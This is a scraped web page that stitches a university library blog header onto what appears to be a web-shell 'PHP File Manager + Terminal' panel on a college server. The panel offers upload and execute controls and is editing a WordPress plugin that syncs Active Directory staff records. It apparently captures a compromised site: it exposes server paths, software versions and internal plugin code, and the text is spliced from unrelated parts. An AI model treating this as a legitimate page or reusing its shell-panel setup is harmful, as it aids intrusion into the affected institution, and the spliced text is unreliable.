Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/wp-content/plugins/azureusers Upload Create File Create Folder Execute Editing: /var/www/html/wp-content/plugins/azureusers/azureusers.php<?php /* Plugin Name: Sync AD Users Description: Plugin to Sync AD Users in the system */ define( 'SAU_DIR', plugin_dir_url ( __FILE__ ) ); define( 'SAU_PATH', plugin_dir_path( __FILE__ ) ); add_action( 'wp_head', 'register_sauscripts' ); function register_sauscripts() {} function sau_scripts(){} add_action( 'wp_enqueue_scripts', 'sau_scripts',11); add_action('template_redirect', 'sau_includeMyfiles', 1); function sau_includeMyfiles() { if(!session_id()) { session_start(); } /*require_once( SAU_PATH . '/auth.php' ); $bmcc_users = new BMCC_User_Data(); $getToday = $bmcc_users->checkToday(); $getStatus = $bmcc_users->checkStatus(); if($getToday && $getStatus['status'] != '1'){ $bmcc_users->getSyncAzureUser(); echo "<p>bmcc_users = $bmcc_users</p>"; }*/ } register_activation_hook( __FILE__, 'sau_install' ); function sau_install(){ global $wp_roles,$table_prefix, $wpdb; $tblname = 'sync_user_azure'; $wp_track_table = $table_prefix . "$tblname"; #Check to see if the table exists already, if not, then create it if($wpdb->get_var( "show tables like '$wp_track_table'" ) != $wp_track_table){ $sql = "CREATE TABLE `". $wp_track_table . "` ( "; $sql .= " `id` int(11) NOT NULL auto_increment, "; $sql .= " `record_count` int(11) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 0, "; $sql .= " `status` enum('1','2') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '1', "; $sql .= " `created_by_ip` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql .= " `created_on` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, "; $sql .= " PRIMARY KEY `id` (`id`)"; $sql .= ") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; "; //echo $sql;die; require_once( ABSPATH . '/wp-admin/includes/upgrade.php' ); dbDelta($sql); } $tblname2 = 'ad_data_sync'; //$wp_track_table2 = $table_prefix . "$tblname2"; $wp_track_table2 = $tblname2; #Check to see if the table exists already, if not, then create it if($wpdb->get_var( "show tables like '$wp_track_table2'" ) != $wp_track_table2){ $sql2 = "CREATE TABLE `". $wp_track_table2 . "` ( "; $sql2 .= " `id` int(11) NOT NULL auto_increment, "; $sql2 .= " `firstname` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `lastname` text COLLATE utf8mb4_unicode_ci, "; $sql2 .= " `displayname` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `title` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `email` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `phone` text COLLATE utf8mb4_unicode_ci, "; $sql2 .= " `department` text COLLATE utf8mb4_unicode_ci, "; $sql2 .= " `room` text COLLATE utf8mb4_unicode_ci, "; $sql2 .= " `guid` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `userstatus` text COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `emptype` text COLLATE utf8mb4_unicode_ci, "; $sql2 .= " `created_by_ip` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `created_on` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, "; $sql2 .= " `updated_by_ip` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL, "; $sql2 .= " `updated_on` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00' ON UPDATE CURRENT_TIMESTAMP, "; $sql2 .= " PRIMARY KEY `id` (`id`)"; $sql2 .= ") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; "; //echo $sql2;die; require_once( ABSPATH . '/wp-admin/includes/upgrade.php' ); dbDelta($sql2); } } add_action( 'after_setup_theme', 'sau_init', 10 ); function sau_init() { add_action( 'admin_menu', 'sau_menu' ); $current_user = wp_get_current_user(); } function sau_menu(){ add_menu_page(__('Sync AD Section','sau_settings'), __('Sync AD Users','sau_settings'), 'manage_options', 'sau-settings', 'sau_settings_page' ); add_submenu_page('sau-settings',__('Sync AD Users', 'sau_settings'), 'manage_options', 'sau_settings/tm-admin-sau-settings.php', '' ); } function sau_settings_page(){ if(!empty($_POST) && $_POST['submit'] == 'Sync'){ echo "entro al submit"; require_once( SAU_PATH . '/auth.php' ); $bmcc_users = new BMCC_User_Data(); $bb = $bmcc_users->getSyncAzureUser(); //$ww = $bmcc_users->getUserDetails(); echo '<br> USUARIOS TOTALES '.$bb ; } ?> <div class="wrap"> <h2>Sync AD Users</h2> <form action="admin.php?page=sau-settings" method="post"> <?php submit_button( "Sync", "primary", "submit", true ); ?> </form> </div> <?php } ?>Save